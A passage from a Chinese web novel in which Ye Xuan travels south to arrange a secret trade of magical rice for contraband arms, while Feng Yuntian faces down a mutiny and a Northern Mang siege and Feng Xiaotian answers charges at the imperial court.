“皇帝那道圣旨,名为宣召,实为囚禁。风啸天一走,北凉就成了一块悬在半空的肥肉,京城里那几位,谁都想来咬一口。”
“他们会用尽一切办法,切断北凉的补给,让这里变得更穷,更乱。到时候,他们再以救世主的姿态降临,就能轻而易举地收拢人心,架空镇北王府。”
苏轻雪静静地听着,这些道理她都懂。
“所以,你才要走出去?”
“对。”叶玄点头,“我必须走。北凉这盘棋,棋眼已经布下,但想要盘活全局,光靠守是不行的,必须去外面,找来更多的棋子。”
他看向苏轻雪:“你怕吗?”
苏轻雪愣了一下,随即摇头失笑:“我一个被太子追到,连家都回不去的人,还有什么好怕的?倒是你,要去江南,那可是龙潭虎穴,是太子的地盘。”
“龙潭虎穴,才好摸鱼。”叶玄笑了笑,那笑容里带着几分旁人看不懂的深意。
他转身朝着自己的木屋走去。
“收拾一下东西,我们明天就出发。”
“这么快?”苏轻雪有些意外。
“快刀,才能斩乱麻。”叶玄的声音从前方传来,没有半分迟疑。
第二日,天还未亮。
叶玄将赵阳叫到跟前,仔细交代着谷中的各项事宜。
从神农洞天的耕种轮换,到流民的安置训练,再到与镇北王府的联络,事无巨巨细,一一讲明。
“主上,您这一走,不知何时才能回来。谷中无主,我怕……”赵阳的脸上带着担忧。
“我不在,你就是这里的主人。”叶玄拍了拍他的肩膀,“记住,稳住大雪龙骑,稳住这片山谷,就是大功一件。至于风云天那边,他若有求,只要不危及我们的根本,能帮就帮。他现在,是我们挡在明面上的一面盾牌。”
“末将明白。”赵阳重重点头。
叶玄又看向一旁,苏轻雪已经换上了一身利落的劲装,长发束起,少了几分柔美,多了几分英气。
两人在准备妥当之后,便翻身上马,随后纵马出谷,直奔远处而去。
马蹄踏在北凉荒芜的官道上,溅起一路烟尘。
叶玄没有急着赶路,日行三百里,天黑便找客栈或村落歇脚。
他大部分时间都在马背上闭目养神,看似在休息,实则体内的《人皇镇狱经》正以前所未有的速度疯狂运转。
每一次呼吸吐纳,都引动着天地间稀薄的灵气,汇入他的四肢百骸。
自从上次在镇北城外,以《苍龙破军》一剑破开军阵之后,他便感觉到自己七品炼神境的修为已经达到了一个临界点。
那是一种即将冲破壁垒,脱胎换骨的感觉。
而这几日不急不缓的赶路,正好给了他沉淀和积累的时间。
离开北凉地界的第五天傍晚,两人来到一处荒郊野外的破庙。
夜色渐浓,篝火升起。
苏轻雪依偎在树木之下,早已沉沉睡去。
叶玄盘膝坐在火堆旁,双目紧闭。
他体内的气血,如同奔腾的江河,发出一阵阵细微的轰鸣。
原本无形无质的灵力,在《人皇镇狱经》的催动下,正不断地凝实、压缩,朝着一种更加坚韧
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、更加强大的形态转变。
皮、肉、筋、骨、膜……
身体的每一个部分,都在这股力量的冲刷下,发生着翻天覆地的变化。
这便是六品,凝体境!
将虚无缥缈的灵力,与自己的肉身彻底融为一体,使身体本身,就成为最强大的武器。
不知过了多久,当第一缕晨光穿透破庙的窗棂,照在叶玄的脸上时,他缓缓睁开了眼睛。
一道精光,从他眼底一闪而逝,随即隐没无踪。
他整个人的气息,似乎没有发生任何变化,依旧是那副温和无害的样子。
但只有他自己清楚,此刻的他,与一天前,已是天壤之别。
若是现在再对上呼延灼那样的对手,他甚至不需要动用《苍龙破军》,单凭肉身之力,就能够将其拿下。
他站起身,活动了一下筋骨,全身发出一阵噼里啪啦的脆响。
“醒了?”
苏轻雪不知何时已经醒来,正静静地看着他。
“嗯。”叶玄点了点头。
“恭喜。”苏轻雪的脸上露出一丝笑意,“六品凝体,感觉如何?”
她虽然不通武道,但眼力还在。
叶玄此刻给她的感觉,就像一柄藏入了剑鞘的绝世宝刀,锋芒尽敛,却更加危险。
“还行。”叶玄的回答一如既往地平淡,“至少,以后再遇到追杀,不用跑得那么狼狈了。”
他走到破庙门口,看着远方那座若隐若现的城池轮廓。
“咱们这么快就回来了?”
苏轻雪也起身走到叶玄身旁,看着远处的云安城。
“是啊,这么快就回来了!”
说着眼神就落寞起来。
“也不知道,忠叔人现在在哪里……”
叶玄也知道勾起了她的伤心事,随机就安慰道。
“别担心,不是没有尸体嘛,说不定就是在哪个地方养伤,等着你出现呢!”
苏轻雪听到这话才逐渐好受了一些,随后两人简单收拾了一下,就直奔云安城而去。
第105章 这米,能换一个江南!
云安城。
时隔数月,再次回到这座城池,叶玄的心境已截然不同。
上一次来,他是被发配北凉的落魄皇子,孤身一人,身无分文。
这一次回,他身后跟着京城第一才女,怀里揣着足以让天下疯狂的筹码。
两人并没有从正门入城,而是绕到一处偏僻的角门。
随后两人轻车熟路的穿过几条小巷,来到柳府的后门。
“扣扣扣……”
苏轻雪敲了几下后门。
很快,后门打开,下人快步迎了出来再见到是叶玄他们之后,立马让开位置。
“叶公子,苏姑娘,快,快请进。”
进入府中,下人快速备好了热茶和点心,而柳承也带着夫人和柳月雪也是匆匆赶来。
几人月余未见,自然是寒暄了几番。
随后叶玄就对着柳承业说道:
“柳家主,此次前来主要是有事相求!”
柳承业闻言立马明白,随后看向柳月雪。
“月雪,你先带苏姑娘去客房休息,我与叶公子有要事相商。”柳承业对女儿说道。
“爹,我也要听。”柳月雪却一反常态,没有离开,反而坐到了苏轻雪旁边,“叶公子这次来,是来肯定是有事,我也想要出份力。”
柳承业一愣,有些诧异地看了看自家女儿,又看了看叶玄。
叶玄笑了笑:“无妨,柳小姐想听,便听着吧。此事,也确实与柳家有关。”
柳承业这才点了点头,他看向叶玄,神情变得郑重起来。
“叶公子,上次一别,云安城天翻地覆。王德发一家被押解上京,至今没有消息,想来是凶多吉少。公子这步棋,下得实在是高。”
“王德发是咎由自取,与我无关。”叶玄摆了摆手,不想在这个话题上多谈。
他开门见山地说道:“柳家主,我这次来,是想与你做一笔生意。”
“叶公子但说无妨。”柳承业立刻坐直了身体。
他很清楚,能让叶玄亲自上门谈的生意,绝非小事。
叶玄没有说话,只是从随身的行囊里,取出了一个半旧的布袋,放在了桌上。
正是当初风云天带回镇北王府,又被叶玄要回来的那一小袋米。
“柳家主请看。”
柳承业有些疑惑地拿起布袋,入手很轻,打开一看,里面是些饱满的米粒。
他将米倒在手心,仔细端详。
这米,色泽微黄,粒粒晶莹,似乎与寻常的米粮有些不同,但具体哪里不同,他又说不上来。
“叶公子,这是……?”
“此物,是我在一处秘地所得,我称之为‘金丝楠米’。”叶玄随口编了个名字。
“柳家主久经商场,不妨猜猜,这一袋米,价值几何?”
柳承业沉吟了片刻。
云安城虽地处偏远,但柳家商路广博,北凉大半城池都有所合作,什么山珍海味没见过。江南进贡的顶级胭脂米,西域来的奇珍香料,他都经手过。
可眼前这米,他却看不出深浅。
“恕柳某眼拙。”柳承业摇了摇头,“单从品相看,此米确属上乘,但若说价值……恐怕比之江南的胭脂米,也高得有限。”
叶玄笑了。
“柳家主,可否借后厨一用?”
半个时辰后。
书房里,多了一只小小的炭炉,炉上温着一壶水。
旁边,一只白瓷碗里,盛着刚刚蒸好的米饭。
没有配任何菜肴,只有一股纯粹的、浓郁的米香,弥漫在整个房间。
那香味霸道无比,只是闻上一口,就让人食指大动,口舌生津。
柳承业的脸上,已经露出了惊奇之色。
单是这股异香,就足以证明此米的不凡。
“柳家主,请。”叶玄做了一个请的手势。
柳承业拿起筷子,夹起一小撮米饭,送入口中。
米饭入口,软糯香甜,口感极佳,远胜他吃过的任何一种米。
但这,还不是最关键的。
当米饭顺着喉咙滑入腹中,一股温润的暖流,骤然从胃里升腾而起,悄无声息地涌向四肢百骸。
柳承业常年为家族生意操劳,身体早已被酒色掏空,时常感觉腰膝酸软,力不从心。
可此刻,在那股暖流的滋养下,他只觉得浑身上下都暖洋洋的,仿佛泡在温泉里,连日来的疲惫都一扫而空,整个人都精神了不少。
“这……这……”
柳承业夹着筷子的手,停在了半空中,脸上写满了震撼。
他猛地抬头,看向叶玄,呼吸都变得急促起来。
作为一名商人,他敏锐的嗅觉在这一刻告诉他,他眼前的,不是一碗米饭。
这是一座金山!一座取之不尽,用之不竭的金山!
“叶公子,此米……此米……”他激动得有些语无伦次。
“柳家主现在觉得,它价值几何?”叶玄的脸上,依旧挂着那副平静的笑容。
柳承业放下筷子,深深地吸了一口气,强迫自己冷静下来。
他看着叶玄,一字一句地问道:“叶公子,此米,产量如何?”
这是一个商人最关心的问题。
物以稀为贵。
如果此物只有一两斤,那它就是无价之宝,只能作为贡品,献给最顶层的大人物。
如果它能量产……
那它将颠覆整个天下的粮食格局!
“不多。”叶玄伸出了一根手指,“一个月,也就万把斤的样子。”
亩产万斤,一个月一熟。神农洞天里那几亩地,一个月产出万斤,叶玄还说少了。
可这“万把斤”,在柳承业听来,却不亚于一道惊雷。
一个月,万斤!
这个数字,像一记重锤,狠狠地敲在他的心上。
这意味着,此物可以作为商品,大规模地流通!
柳承业的脑子飞
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速运转起来。
“此物不仅能果腹,更能滋养身体,延年益寿。若是卖给那些惜命的达官贵人,世家大族……一两,卖百金,不,千金都有人抢着要!”
“我们甚至不需要叫卖,只需要在京城最顶级的销金窟,办一场品鉴会,请那些王公贵族、巨商富贾来尝一尝。到时候,他们会挥舞着银票,求着我们卖给他们!”
“有了钱,我们就能打通所有关节,建立起一张覆盖整个大乾的商业网络!到那时,我们柳家……”
柳承业越说越激动,苍白的脸上泛起一抹病态的红晕。
“柳家主。”叶玄的声音,将他从狂热的幻想中拉了回来。
“这生意,我只与你柳家做。”
柳承业的呼吸一滞,猛地看向叶玄。
“叶公子……此话当真?”
“当真。”叶玄点头,“不过,我不要钱。”
“不要钱?”柳承业彻底愣住了。
叶玄看着他,缓缓说道:“我需要的东西,柳家主用钱也买不到。”
“我需要兵器,需要战马,需要各种朝廷明令禁止贩卖的铁矿、硫磺。”
“我需要一条,能够将这些东西,神不知鬼不觉地,从江南,运到北凉的商路。”
“而且,这条商路,必须完完全全,掌握在我们自己手里。”
书房内,陷入了死一般的寂静。
柳承业脸上的激动之色缓缓褪去,取而代之的,是前所未有的凝重。
贩卖禁运物资,这可是抄家灭族的死罪!
他看着叶玄,这个年轻人的图谋,比他想象的还要大得多。
他这是要……**?
柳承业的心,狂跳不止。
这是一场豪赌。
赌赢了,柳家将一飞冲天,成为从龙之臣,百年富贵。
赌输了,就是万劫不复,粉身碎骨。
“爹!”
就在柳承业天人交战之时,一直沉默的柳月雪,突然开口了。
“我要跟叶公子去江南。”
她站起身,走到柳承业面前,眼神里没有了往日的羞涩,只有一片坚定。
“叶公子救了我的命,就是我们柳家最大的恩人。现在恩人有需要,我们柳家,没有理由拒绝。”
“而且,这不止是帮叶公子,也是在帮我们柳家自己。”
“爹,你想一辈子都窝在云安城这个小地方吗?你想柳家,永远都只是一个二流的商贾之家吗?”
“现在,机会就在眼前。”
柳月雪的话,像一把钥匙,打开了柳承业心中最后一道枷锁。
是啊,风险,也意味着机遇。
他看着自己脱胎换骨的女儿,又看了看对面那个深不可测的年轻人。
许久,他长长地吐出了一口气。
“好!”
“叶公子,这笔生意,我柳家……接了!”
“从今天起,我柳家上下,唯公子之命是从!”
第106章 狼烟再起!
就在叶玄于云安城落下关键一子时,千里之外的北凉边境,却是另一番景象。
黑水河畔,北莽王庭。
巨大的黄金帐内,气氛压抑得让人喘不过气。
数十名北莽部落的首领,一个个膀大腰圆,满脸横肉,此刻却都低着头,连大气都不敢喘一口。
大帐中央,呼延灼跪在地上,身上那件名贵的狼皮大氅沾满了尘土,昔日不可一世的屠各部首领,此刻狼狈得像一条丧家之犬。
“三万屠各部的勇士,一夜之间,全军覆没。”
主座之上,一个比寻常人高大一圈,满头金发辫子的中年男人,缓缓开口。
他便是当代北莽可汗,阿史那·雄。
他的声音很平静,却带着一股不容置疑的威严,每一个字都像是重锤,敲在呼延灼的心上。
“呼延灼,你不是说,镇北城的风啸天已经老了吗?你不是说,镇北军都是一群待宰的羔羊吗?”
“你不是说,你要用三万铁骑,踏平镇北城,为本汗的酒杯,装满南人的鲜血吗?”
“可结果呢?”
阿史那·雄站起身,走到呼延灼面前,一脚将他踹翻在地。
“结果,你像一条狗一样,夹着尾巴逃了回来!”
“我北莽勇士的脸,都被你丢尽了!”
呼延灼趴在地上,身体剧烈地颤抖着,却不敢辩解一句。
“大汗,饶命……饶命……”
“饶你?”阿史那·雄冷笑一声,“你告诉我,是谁?是谁击败了你?是风啸天吗?他用了多少人?”
“不……不是风啸天。”呼延灼挣扎着抬起头,脸上满是恐惧,“是一支……一支我从未见过的军队。”
他将那晚的景象,原原本本地描述了一遍。
那支通体雪白的重装骑兵,那无可阻挡的冲锋,那每一个士兵都堪比六品武者的恐怖实力。
黄金帐内,一片哗然。
“不可能!南人怎么可能有这样的军队?”
“每一个士兵都是六品武者?呼延灼,你是不是被打傻了,在这里胡言乱语!”
“我看他就是打了败仗,怕被大汗责罚,才编出这种鬼话来骗我们!”
一众部落首领议论纷纷,脸上都写满了不信。
大乾王朝的军队是什么德行,他们再清楚不过了。除了镇北军还有几分血性,其他的,都是一群软脚虾。
怎么可能凭空冒出一支如此强大的军队?
“肃静!”
阿史那·雄一声怒喝,大帐内瞬间安静下来。
他盯着呼延灼,看了许久,才缓缓说道:“我相信你。”
呼延灼猛地抬头,眼中满是意外。
“风啸天那个老狐狸,镇守北凉二十年,藏着一些我们不知道的底牌,很正常。”阿史那·雄的眼中闪过一丝贪婪和兴奋。
“一支全员六品武者的重骑兵……有意思,真有意思。”
“如果能将这支军队的训练方法弄到手,我北莽,何愁不能踏平中原,一统天下?”
他转身走回主座,目光扫过帐下所有的部落首领。
“传我命令!”
“集结王庭本部五万狼居胥,再从各部落抽调五万精锐!”
“十万大军,随我南下!”
“这一次,本汗要亲眼去看看,风啸天到底藏了什么宝贝!”
“他不是喜欢玩吗?那本汗就陪他玩得更大一点!”
“我要让整个北凉,都燃起狼烟!”
……
三天后。
镇北王府,议事大堂。
气氛比上一次更加凝重。
风云天坐在主位上,脸色苍白。
他面前的桌案上,放着一封封从边境传来的加急军报。
“世子,北莽可汗阿史那·雄,亲率十万大军,已兵临城下!”
“东、南、西三面城墙,都已发现北莽大军的踪迹,他们这是要……围城!”
一名副将声音嘶哑地禀报着,眼中是掩饰不住的忧虑。
风云天紧紧攥着拳头。
父亲刚走,北莽就大军压境。
而且这一次,比以往任何一次都要来得凶猛。
可汗亲征,十万大军,三面围城。
这是要将镇北城,一口吞下的架势。
“慌什么!”
风云天猛地一拍桌子,站了起来。
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他努力让自己镇定下来,学着父亲的样子,扫视着堂下众将。
“父亲离开前,将北凉交给了我们。我们若是连城都守不住,还有什么脸面去见他?”
“传我将令!”
“全军将士,按之前的部署,各就各位!”
“弓上弦,刀出鞘,滚木礌石,都给我就位!”
“告诉弟兄们,想活命,就给我狠狠地打!把北莽蛮子,都给我挡在城墙外面!”
一番话,说得铿锵有力。
堂下那些忠于镇北王府的老将,纷纷抱拳应诺。
“是!我等誓死守卫镇北城!”
然而,就在这时,一个不和谐的声音响了起来。
“世子殿下,说得倒是轻巧。”
一名身材瘦高,鹰钩鼻的将领,从队列中走了出来,脸上挂着一丝若有若无的讥讽。
此人名叫李默,是镇北军中的一名都尉,掌管着五千兵马。他并非风啸天的嫡系,而是由京城兵部直接调派而来。
“李都尉,你这是什么意思?”一名老将皱眉喝道。
李默没有理他,只是看着风云天,皮笑肉不笑地说道:“大敌当前,我等自然会奋力杀敌。只是,这指挥调度之权,事关重大,北凉二十万大军的生死,都系于一人之身。”
“王爷在时,我等自然是信服的。可如今王爷奉旨回京,世子您……年纪尚轻,又从未有过领兵经验。”
他顿了顿,话锋一转,图穷匕见。
“我以为,为稳妥起见,世子殿下还是将兵符交出来,由我等几位经验丰富的将领,共同掌管,方能应对眼前的危局。”
他话音刚落,立刻又有几名将领站了出来,纷纷附和。
“李都尉言之有理!国难当头,不能儿戏!”
“请世子以大局为重,交出兵符!”
一时间,大堂之内,气氛剑拔**张。
风云天看着李默那张得意的脸,气得浑身发抖。
他终于明白叶玄临走前说的话是什么意思了。
皇帝的手段,来了。
先是调走父亲,再是趁着北莽入侵,内外勾结,逼他交出兵权。
好一招釜底抽薪!
第107章 兵符在此,谁敢不从?
“放肆!”
一声怒喝,如同平地惊雷,在大堂内炸响。
一名独眼的老将军猛地跨出一步,腰间的战刀“呛啷”一声出鞘半寸,一股铁血杀气瞬间弥漫开来。
“李默!王爷尸骨未寒……呸!王爷只是奉旨回京,你们这些京城来的白眼狼,就这么迫不及待地跳出来,想抢班**了吗?”
此人是镇北军副将之一,张猛,是跟着风啸天从尸山血海里爬出来的过命兄弟,在军中威望极高。
李默被他气势所慑,下意识地退了半步,但随即又挺直了腰杆。
“张副将,话不能这么说。我们也是为了北凉好,为了城中数十万军民的性命着想。”
“再说了,王爷临走前,也只是让世子暂代军务,并未说将兵权完全交予他一人。如今北莽十万大军围城,此等危局,岂是世子一个黄口小儿能应对的?”
“你!”张猛气得独眼圆睁,就要上前理论。
“张叔,别急,让我来。”
就在这时,一直沉默的风云天,开口了。
他的声音不大,却带着一种异样的平静。
张猛愣了一下,有些不甘地回头看了他一眼,但最终还是收刀归鞘,退了回去。
风云天走下主座,一步一步,来到李默面前。
他比李默要矮上一些,身形也单薄许多,但他的眼神,却让李默心中无端地升起一丝寒意。
“李都尉,”风云天缓缓开口,“你说我年幼,没有领兵经验,不足以担当指挥全军的重任,对吗?”
“末将……末将只是就事论事。”李默硬着头皮说道。
“你说,为了北凉数十万军民的性命,我该以大局为重,交出兵符,对吗?”
“正是此理。”李默感觉自己占住了大义,声音也大了几分。
“好。”风云天点了点头,“你说得很有道理。”
他转过身,面向大堂内所有的将领。
“诸位将军,李都尉的话,你们也都听到了。你们当中,可还有人与他想法一致,觉得我风云天,没资格坐在这个位置上,没资格指挥你们?”
他的目光,从每一个人的脸上扫过。
那些忠于王府的老将,纷纷低下头,不敢与他对视。
而另外几名与李默一同站出来的将领,则挺起了胸膛。
“世子,我们并无私心,一切都是为了守住镇北城!”
“请世子三思!”
风云天将这些人的脸,一一记在心里。
他忽然笑了。
“很好。”
他再次转回身,看着李默。
“李都尉,既然你如此为国为民,深谋远虑。那本世子,就给你一个机会。”
他指了指城外的方向。
“北莽大军,号称十万,如今正三面围城。其中,东门的压力最大,是北莽可汗的王帐所在。”
“我命你,即刻率领你麾下五千兵马,出城迎敌!”
“只要你能击溃东门外的北莽先锋,挫其锐气。这镇北军的指挥权,我风云天,双手奉上!”
此言一出,满堂皆寂。
所有人都用一种看疯子一样的眼神看着风云天。
出城迎敌?
用五千步卒,去冲击北莽可汗亲率的数万铁骑?
这和送死有什么区别?
李默脸上的得意之色,瞬间凝固了。
“世子……你……你这是什么意思?”他的声音都在发颤,“你这是让我去送死!”
“送死?”风云天的脸上,笑容愈发冰冷,“你刚才不是还说,自己是为了北凉,为了军民,不惧牺牲吗?”
“怎么,现在让你出城杀敌,为国尽忠,你就不敢了?”
“我……”李默张口结舌,一个字也说不出来。
“还是说,你李都尉的忠心,就只长在嘴上?”风云天步步紧逼。
“你不敢去,是吗?”
“你怕死,是吗?”
“你所谓的为大局着想,不过是想趁着我父亲不在,抢夺兵权,好向你在京城的主子邀功,是吗?”
风云天每问一句,李默的脸色就苍白一分。
最后一句,更是如同利剑,狠狠刺穿了他所有的伪装。
“你……你血口喷人!”李默色厉内荏地吼道。
“我是不是血口喷人,你自己心里清楚。”风云天不再看他,而是从怀中,取出了一样东西。
那是一块虎形的兵符,通体由玄铁打造,上面刻着复杂的纹路。
镇北军兵符!
见此物,如见镇北王亲临!
“父亲临行前,将此兵符亲手交予我。见兵符者,如见王爷!”
风云天的声音,陡然拔高,响彻整个大堂。
“我现
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在,以镇北王府世子,北凉军务暂代统帅的身份,命令你,李默!”
“立刻!马上!率你本部兵马,出城迎敌!”
“你若遵令,是为我大乾的忠臣。战死,你满门荣耀。侥幸生还,我为你请功!”
“你若抗命……”
风云天的眼中,闪过一丝与其年龄不符的狠厉。
“便是临阵脱逃,动摇军心!”
“来人!”
“在!”张猛等一众老将,齐声应喝。
“将李默,以及方才附和他言论之人,就地拿下!”
“若敢反抗,格杀勿论!”
“遵命!”
张猛等人抽出战刀,如狼似虎地扑了上去。
李默和他那几个同党,彻底傻眼了。
他们怎么也没想到,这个平日里看起来温和懦弱的世子,竟然会如此强硬,如此不按常理出牌。
直接就要动刀子**!
“风云天!你敢!”李默惊恐地尖叫起来,“我乃朝廷任命的都尉,你无权杀我!”
“在北凉,我父亲的军令,就是天!”风云天冷冷地看着他,“现在,我的军令,也是天!”
“拿下!”
几个回合之下,李默等人便被尽数制服,按倒在地。
风云天走到他们面前,居高临下地看着他们。
“我再问你们最后一遍。”
“是遵我军令,出城杀敌,还是我现在就砍了你们的脑袋,挂在城墙上,以儆效尤?”
冰冷的话语,让李默等人浑身冰凉。
他们毫不怀疑,风云天真的敢杀了他们。
求生的本能,让他们做出了选择。
“我……我愿出城杀敌!”李默声音颤抖地喊道。
“很好。”
风云天挥了挥手,示意张猛放开他们。
“给你们半个时辰,集结部队。半个时辰后,若我看不到你们出城,你们的脑袋,就不用留了。”
说完,他转身走回主座,将那枚兵符,重重地放在了桌案上。
“嗒”的一声,仿佛敲在了所有人的心上。
大堂之内,再无人敢发一言。
所有人的目光,都敬畏地看着主座上那个单薄的身影。
他们似乎在这一刻才意识到,镇北王府的脊梁,没有断。
这头幼狮,虽然稚嫩,但他的爪牙,已经开始展露锋芒。
第108章 蛮子的恐惧,鸣金收兵!
北凉,镇北城下。
连绵不绝的攻城战,已经持续了十几天了。
肃杀的北风,卷着浓重的血腥味,在荒原上呼啸。
城墙上下,早已是一片狼藉。
残破的云梯,断裂的兵刃,以及数不清的尸体,堆积在城墙根下,形成了一道触目惊心的“护城河”。
其中就有之前被风云天强逼出来的那五千人!
城墙之上,镇北军的将士们一个个身心俱疲,盔甲上沾满了凝固的血迹和脑浆。
但他们的眼神,依旧像钉子一样,死死地盯着城外那黑压压的北莽大营。
“**,这帮蛮子是疯了吗?”
张猛吐了一口带血的唾沫,用手背抹了抹脸上的血污。
他身边的亲卫,递过来一个水囊。
张猛仰头灌了几口,冰冷的清水让他疲惫的精神稍微振作了一些。
“整整十二天了,一天十二个时辰,轮番攻城,连口喘息的机会都不给。他们到底带了多少人来?”
“副将,您歇会儿吧。蛮子刚退下去一波,估计下一个时辰才会再攻上来。”亲卫劝道。
张猛摇了摇头,目光望向城楼中央。
那里,风云天的身影,如同一杆标枪,已经站了十二天。
这十二天里,他几乎没有合过眼,吃饭喝水,都在城墙上解决。
他的嗓子早已嘶哑,嘴唇干裂出血,但那双眼睛,却比之前任何时候都要明亮。
最初的慌乱和恐惧,早已在连绵的战火中被磨砺干净,取而代之的,是一种沉稳和坚毅。
“世子……也长大了啊。”张猛看着风云天的背影,心中感慨万千。
就在这时,城外北莽大营的方向,突然传来了沉闷的号角声。
呜——呜——
那不是进攻的号角。
是鸣金收兵的信号。
城墙上的镇北军将士们都是一愣。
“怎么回事?这个时辰,他们怎么收兵了?”
“难道是打累了,想歇歇?”
“管他呢,正好让弟兄们喘口气。”
所有人都松了口气,紧绷了十几天的神经,终于有了一丝松懈。
然而,风云天的眉头,却紧紧地皱了起来。
不对劲。
太不对劲了。
以北莽人悍不畏死的性子,不战至最后一兵一卒,绝不可能轻易退去。
更何况,这次是可汗亲征。
这十二天的疯狂进攻,更像是一种不计代价的消耗。
可现在,他们却主动收兵了。
事出反常必有妖。
……
与此同时,北莽中军大帐内。
阿史那·雄坐在主位上,脸色阴沉得能滴出水来。
下方,一众部落首领垂手而立,大气都不敢喘。
大帐的地上,躺着几具斥候的尸体,死状凄惨。
“废物!都是一群废物!”
阿史那·雄将手中的金杯狠狠地砸在地上。
“派出去上百支斥候小队,连对方的影子都没摸到!不是被割了脑袋送回来,就是人间蒸发!”
“十二天!整整十二天!除了在镇北城下丢下上万具尸体,我们得到了什么?”
他愤怒地咆哮着。
一名离他最近的部落首领,小心翼翼地开口。
“大汗息怒。镇北城防守严密,风啸天那老匹夫经营多年,城防工事固若金汤,一时半会儿拿不下来,也是正常。”
“我说的不是这个!”阿史那·雄猛地站起身,在大帐内来回踱步。
他的脸上,除了愤怒,还有一丝连他自己都不愿承认的……焦躁。
“那支白色的骑兵……”
他喃喃自语。
“呼延灼说的那支军队,为什么一直没有出现?”
“风啸天把它藏到哪里去了?”
这才是他这十二天来,真正感到不安的地方。
就像一个猎人,在森林里追捕一头猛虎,却发现自己一直被一条潜伏在暗处的毒蛇盯着。
你不知道它什么时候会出来,不知道它会从哪个方向咬你一口。
这种未知的恐惧,远比正面的敌人更让人心悸。
他发动疯狂的攻城,就是想把这条毒蛇逼出来。
可对方,太有耐心了。
任凭他如何挑衅,如何消耗镇北军的兵力,那支幽灵般的军队,始终没有露面。
阿史那·雄停下脚步,看向帐外那座雄伟的城池。
他的心中,突然升起一个可怕的念头。
风啸天,会不会……根本就没把那支军队放在城里?
他会不会,就是等着自己把所有的兵力都
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耗在攻城上,等到自己的军队最疲惫,最松懈的时候……
再从自己的身后,给予致命一击?
就像当初对付呼延灼那样!
这个念头一出现,就如同疯长的野草,再也无法遏制。
阿史那·雄的后背,瞬间冒出了一层冷汗。
他越想越觉得可能。
风啸天那个老狐狸,绝对干得出这种事!
“传令下去!”
他猛地转身,对着帐下的将领们吼道。
“全军后撤三十里,安营扎寨!”
“什么?”
所有部落首领都愣住了。
“大汗,为何要后撤?我们再加把劲,说不定就能攻破城墙了!”
“是啊大汗,现在后撤,岂不是前功尽弃?”
“闭嘴!”阿史那·雄的眼中满是血丝,状若疯狂,“你们懂什么!”
“你们想死,本汗还不想死!”
“那支幽灵军队,一定就埋伏在我们的周围,等着我们筋疲力尽的时候,再冲出来收割我们的性命!”
“我不能再等了!立刻后撤!”
他的声音里,带着一丝歇斯底里的恐惧。
众将领面面相觑,虽然不解,但可汗的命令,他们不敢不从。
很快,鸣金收兵的号角,响彻了整个战场。
黑压压的北莽大军,如同潮水般,缓缓向后退去。
城墙上,风云天看着这一幕,脸上的困惑越来越深。
他想不通,阿史那·雄到底在搞什么鬼。
他当然不知道,他一直苦苦等待的援军,那个让他父亲都忌惮不已的叶玄,此刻已经远在千里之外的江南。
而那支让十万北莽大军都为之恐惧的大雪龙骑,正安安静静地待在山谷里,开荒种地。
这场惊心动魄的围城之战,竟然因为一个不存在的威胁,一个源于失败者恐惧的猜想,就这么虎头蛇尾地……结束了。
风云天站在城楼上,北风吹得他衣袍猎猎作响。
他看着远去的北莽大军,心中没有半分喜悦,反而升起一股更深的寒意。
他知道,这不是结束。
只要镇北王府和京城那边的争斗没有结果。
这片土地的安宁,就永远都只是暂时的。
战争,随时可能再次降临。
第109章 龙潭虎穴,我风啸天来了!
大乾王朝,京城。
秋日的阳光,透过高大的城墙,洒在这座帝国的中心。
街道上车水马龙,人声鼎沸,一派繁华盛世的景象。
然而,在这片繁华之下,却涌动着寻常人看不见的暗流。
一支由数百名禁卫护送的队伍,缓缓驶入城门。
队伍的中间,是一辆看起来毫不起眼的黑色马车。
马车内,风啸天闭目而坐。
他换上了一身寻常的锦袍,收敛了所有在北凉时的铁血杀气,看起来就像一个返乡探亲的富家翁。
一路的奔波,并未在他脸上留下太多疲惫,反而让他那双深邃的眼睛,愈发沉静。
马车穿过繁华的朱雀大街,最终停在了一座戒备森严的驿馆门前。
这里是专门用来接待外地藩王和高级官员的地方。
“王爷,到了。”
外面传来传旨太监那阴阳怪气的声音。
风啸天睁开眼睛,整理了一下衣冠,走下马车。
驿馆的管事早已带着一众下人,恭敬地等候在门口。
“恭迎王爷。”
“不必多礼。”风啸天摆了摆手,目光在驿馆周围扫了一圈。
明里暗里,至少有上百名禁军的眼线,将这里围得水泄不通。
名为驿馆,实为囚笼。
风啸天心中冷笑一声,面上却不动声色,跟着管事走进了驿馆。
……
一夜无话。
第二天,天色微明。
皇宫的钟声响起,早朝的时间到了。
风啸天换上了亲王品级的朝服,在传旨太监的“陪同”下,乘着宫里的软轿,前往太和殿。
这是他时隔五年,再次踏入这座代表着大乾最高权力的宫殿。
金碧辉煌的大殿,雕龙画凤的廊柱,一切都和记忆中一样,充满了威严和压迫。
文武百官早已分列两侧,见到风啸天进来,一道道目光齐刷刷地投了过来。
有好奇,有同情,有幸灾乐祸,更多的,是敬而远之的冷漠。
风啸天目不斜视,径直走到武将队列的最前方,站定。
他能感觉到,一道怨毒的目光,从百官之首的位置,投射过来。
太子,叶天。
风啸天没有去看他。
他的目光,穿过所有人,落在了那高高在上的龙椅之上。
“宣,镇北王风啸天,觐见——”
随着太监的一声高唱,风啸天走出队列,来到大殿中央,撩起衣摆,单膝跪地。
“臣,风啸天,叩见陛下,吾皇万岁万岁万万岁。”
他的声音,雄浑而沉稳,在大殿内回响。
龙椅之上,身着玄色龙袍的叶擎天,缓缓睁开了眼睛。
那是一双看不出任何情绪的眼睛,深邃如海,仿佛能洞穿人心。
他看着下方跪着的这位为他镇守国门二十年的藩王,许久,才缓缓开口。
“平身。”
“谢陛下。”
风啸天站起身,挺直了脊梁。
大殿之内,落针可闻。
所有人都知道,今天这场早朝,是一场鸿门宴。
主角,就是这位从北凉远道而来的镇北王。
“风啸天。”叶擎天的声音再次响起,平淡无波,“有御史**你,在镇北城内,擅动刀兵,屠戮世家,致北境人心动荡。此事,你可知罪?”
来了。
风啸天心中平静。
他上前一步,躬身抱拳。
“回陛下,臣,知此事,但,无罪。”
“哦?”叶擎天的眉毛微微一挑,“屠戮孙、王、李三族,近三千口,你告诉朕,你无罪?”
“回陛下!”风啸天的声音陡然提高了几分,“臣所杀者,并非大乾子民,而是私通北莽,出卖军情,意图动摇我北凉根基的……叛国之贼!”
“放肆!”
一声怒喝,从太子叶天的口中发出。
他走出队列,指着风啸天,满脸的悲愤。
“风啸天!你休要在这里妖言惑众,血口喷人!”
“孙、王、李三家,世代经商,为我大乾缴纳了多少税赋,为北凉的繁荣做出了多少贡献!你竟污蔑他们是叛国之贼?”
